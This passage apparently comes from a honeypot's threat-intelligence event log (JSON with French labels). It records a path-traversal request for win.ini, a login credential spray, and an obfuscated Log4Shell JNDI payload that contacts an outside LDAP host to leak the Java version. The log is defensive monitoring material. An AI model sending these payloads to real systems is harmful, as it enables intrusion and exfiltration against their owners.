AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/Windows\/win.ini HTTP\/1.1\\r\\nHost: 62.3.50.33:8060\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) A\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre_techniques\u0022: [\u0022T1083\u0022], \u0022mitre\u0022: \u0022T1083\u0022, \u0022threat_family\u0022: [\u0022path_traversal\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022f17e2b83fcfdf4091b4356be1d9618e80d8dc803\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/Windows\/win.ini\u0022, \u0022request_line\u0022: \u0022GET \/Windows\/win.ini HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8060, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/Windows\/win.ini HTTP\/1.1\\r\\nHost: 62.3.50.33:8060\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) A\u0022, \u0022attack_vector\u0022: \u0022lfi path traversal \u00b7 via HTTP:8060 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/Windows\/win.ini\u0022, \u0022target_port_label\u0022: \u00228060 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 66\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 66, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 66, \u0022risk_label\u0022: \u0022\u00c9lev\u00e9\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8060, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022pat-0715\u0022, \u0022CRS-930100-sub\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022pat-0715\u0022, \u0022CRS-930100-sub\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1083\u0022, \u0022mitre_technique\u0022: \u0022T1083\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/Windows\/win.ini\u0022, \u0022request_line\u0022: \u0022GET \/Windows\/win.ini HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8060, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022lfi path traversal \u00b7 via HTTP:8060 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/Windows\/win.ini\u0022, \u0022evidence_snippet\u0022: \u0022GET \/Windows\/win.ini HTTP\/1.1\\r\\nHost: 62.3.50.33:8060\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) A\u0022, \u0022target_port_label\u0022: \u00228060 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228060\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 2, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022http-alt-8005\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 9, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"62.3.50.33:8060","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":10,"bytes_in":200},{"id":14676483,"ip":"34.19.116.51","ts":"2026-07-31 15:34:16.000000","proto":"tcp","src_port":36872,"dst_port":8005,"service":"http","classification":"bruteforce_credential_spray","waf_score":33,"waf_tags":"[\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950383:rce-14\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022]","http_method":"POST","http_target":"\/login","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 5, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 1, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u0022474d34701ef094042bceaaeec604d0fd7a5f5a84\u0022, \u0022http_target_hash\u0022: \u0022c42c80aa06113268fddf90dfdc871fb7318ff5cf\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022POST\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 1851, \u0022payload_entropy\u0022: 5.092820682129267, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8005, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 78.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 4.1, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 68, \u0022tag_count\u0022: 9, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u0022ec32cab1f15719b26d82f0cc5d2880b8310219d2\u0022, \u0022event_fingerprint\u0022: \u0022057f4e5baa46ff6287baca719efdcb9f5a33eea7\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 121, \u0022precision_signals\u0022: [\u0022MITRE-T1078\u0022, \u0022INT-beh-cred-stuff\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1078\u0022, \u0022INT-beh-cred-stuff\u0022], \u0022matched_patterns\u0022: [\u0022pat-0324\u0022], \u0022matched_pattern_names\u0022: [\u0022SSRF Any-address SSRF\u0022], \u0022pattern_ids\u0022: [\u0022pat-0324\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 68, \u0022correlation_boost\u0022: 18}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022credential_stuffing\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u0022edb489bf558267b990ef856fc75e2dc2\u0022, \u0022path_pattern_hash\u0022: \u00227e93fba0bc7adda858a2500090e639e4\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 68}, \u0022payload_preview\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Int\u0022, \u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/login\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950383:rce-14\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022rce-14\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\nContent-Type: application\/json\\r\\nCont\u0022, \u0022payload_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Int\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022POST\u0022, \u0022path\u0022: \u0022\/login\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950383:rce-14\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022rce-14\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\nContent-Type: application\/json\\r\\nCont\u0022, \u0022payload_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Int\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022mitre_tactics\u0022: [\u0022TA0007\u0022, \u0022TA0001\u0022], \u0022mitre_techniques\u0022: [\u0022T1078\u0022, \u0022T1110\u0022], \u0022mitre\u0022: \u0022T1078\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00224b358655e31b030d6e5bb4c8b821992e6322b073\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/login\u0022, \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Int\u0022, \u0022attack_vector\u0022: \u0022bruteforce credential spray \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login\u0022, \u0022target_port_label\u0022: \u00228005 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 5 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 68\/100 (\u00c9lev\u00e9) \u2014 MITRE T1078 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 68, \u0022correlation_boost\u0022: 18}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022attack_stage_label\u0022: \u0022Sonde \/ probe\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 68, \u0022risk_label\u0022: \u0022\u00c9lev\u00e9\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8005, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022MITRE-T1078\u0022, \u0022INT-beh-cred-stuff\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1078\u0022, \u0022Beh Cred Stuff\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1078\u0022, \u0022mitre_technique\u0022: \u0022T1078\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022, \u0022Multi-protocole corr\u00e9l\u00e9 (5 min)\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +18\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022POST\u0022, \u0022http_path\u0022: \u0022\/login\u0022, \u0022request_line\u0022: \u0022POST \/login HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022bruteforce credential spray \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login\u0022, \u0022evidence_snippet\u0022: \u0022POST \/login HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Int\u0022, \u0022target_port_label\u0022: \u00228005 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 5 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 5 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228005\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022multi_protocol_correlation\u0022: true, \u0022multi_protocol_count\u0022: 2, \u0022multi_protocol_sample\u0022: [\u0022http\u0022, \u0022http-alt-8005\u0022], \u0022multi_protocol_window_s\u0022: 300, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 8, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022, \u0022multi_protocol_correlation\u0022], \u0022correlation_confidence_boost\u0022: 18, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950383:rce-14\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022http_credential_body\u0022, \u0022http_probe_login\u0022, \u0022http_ssti\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8005","http_user_agent":"Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","http_referer":null,"tags":"[\u0022950326:rce-0\u0022, \u0022950327:rce-0\u0022, \u0022950383:rce-14\u0022, \u0022950470:nosqli-3\u0022, \u0022950471:nosqli-3\u0022, \u0022http_credential_body\u0022, \u0022http_probe_login\u0022, \u0022http_ssti\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":10,"bytes_in":1851},{"id":14676518,"ip":"34.19.116.51","ts":"2026-07-31 15:34:16.000000","proto":"tcp","src_port":36873,"dst_port":8005,"service":"http","classification":"port_8005_tcp","waf_score":26,"waf_tags":"[\u0022950324:rce-0\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022]","http_method":"PUT","http_target":"\/${${i:o:-j}${dc91:vxnf:ei:-n}${j58:pxc:-d}${35c:39:ute:-i}${jr1:btxq:q2o:-:}${y:wv:-l}${6y:-d}${bxw9:-a}${k:-p}${7ib:y:-:}${tg:ec:w0:-\/}${e:db6x:-\/}${kd:al:il:-P}${fwhy:r6z4:-A}${bp:b5ig:-l}${8:6:o3c:-0}${v3g:c:dm9:-c}${j:--}${${fp17:36b:sinu:-s}${z:-y}${7d:4ylc:-s}${n948:zv6:-:}${bc:-j}${hu4:cq:-a}${o4:8a9w:-v}${bd2m:-a}${koge:jiu:wgk:-.}${qc:fg:-v}${ygn:qdo:-e}${7:bh:o:-r}${pdfi:kw:s1wa:-s}${uito:jq4x:va:-i}${9532:-o}${dow0:-n}}${09z:-.}${4jfp:6rs:-f}${kub:jco:4a:-0}${umtp:8aw:-5}${n:-c}${uk1i:plw:-3}${f:0vy6:-e}${5e:-4}${hjz3:t:pn3z:-0}${s3wb:g:r:-8}${5o:-2}${bnot:ta57:m4:-b}${u5:78:-9}${w90d:5ry4:pa:-4}${hjk:-2}${ev:-8}${6:-f}${vrh3:-7}${s4z:ql39:dnvx:-9}${gdr2:-7}${zv42:tz:-f}${2k:xi2:g2:-6}${qa:-e}${9:-9}${9:-6}${a7:-e}${ko1:i0:dfl3:-3}${yk:-8}${x:k9:k74m:-f}${vfp:-0}${zfc6:-2}${o:-5}${fde3:2:df:-0}${5:-3}${mb:0ft2:z:-3}${o2:l2:m:-8}${18:o:d5xp:-f}${g:5sg3:fd:-d}${0bzd:9f:5vo:-9}${j:q1lp:-0}${0:-e}${nj2:-2}${q3f:7e:-a}${xlt:m:-.}${rc:-d}${8:-n}${ag:n1w:-s}${tv6:--}${4w38:-e}${w:0jyl:-x}${md:k:-f}${g:-i}${769:z:02n:-l}${5:-.}${epgb:0m:-m}${bm3:vy:v:-a}${zqx5:tw6y:-s}${p:-m}${vs:-c}${u:-o}${j:f86:-r}${e:p62d:i:-e}${1:c:--}${vl:hyat:u5:-c}${70s:-f}${6:z6k:5q:--}${89qb:pl:m9r:-p}${qlb0:n:-r}${f97:-o}${qo0:v3db:-d}${q2:--}${d:oq:o:-0}${aox:-2}${r:-.}${rjl:-m}${6:-a}${j:-s}${nq:-m}${mpi:-.}${f:2gn:7:-c}${rwu:-l}${u9:-o}${ye7:rfk:-u}${3o:xqtw:-d}${p:-f}${4z:5um:0zn:-e}${2b:4ju6:tdqy:-r}${9:-r}${1j4:q:5:-y}${c21b:8nqe:-.}${fn:pb9t:-g}${h3:c:m:-o}${z:ito:n:-o}${4twd:x:-g}}","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 5, \u0022http_query_params\u0022: 0, 